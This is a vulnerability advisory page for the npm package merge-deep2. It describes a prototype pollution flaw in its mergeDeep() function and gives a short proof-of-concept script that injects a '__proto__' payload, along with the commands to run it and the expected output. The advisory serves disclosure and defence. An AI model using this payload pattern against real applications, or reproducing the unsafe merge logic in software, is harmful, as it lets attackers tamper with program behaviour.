merge-deep2@3.0.5

Recursively merge values in a javascript object.

  • latest version

    3.0.6

  • first published

    8 years ago

  • latest version published

    8 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the merge-deep2 package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    merge-deep2 is a Recursively merge values in a javascript object.

    Affected versions of this package are vulnerable to Prototype Pollution via the mergeDeep() function.

    ##PoC

    // Create the following PoC file:
    // PoC.js
    var mergeDeep2 = require("merge-deep2")
    
    var obj = {}
    var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
    console.log("Before: " + {}.polluted);
    mergeDeep2({}, JSON.parse(malicious_payload), true);
    console.log("After : " + {}.polluted);
    
    // End of file
    
    // Execute the following commands in the terminal:
    npm i merge-deep2 # Install affected module
    node PoC.js # Run the PoC
    
    // Check the Output:
    "Before : undefined"
    "After : Yes! Its Polluted"
    

    How to fix Prototype Pollution?

    There is no fixed version for merge-deep2.

    *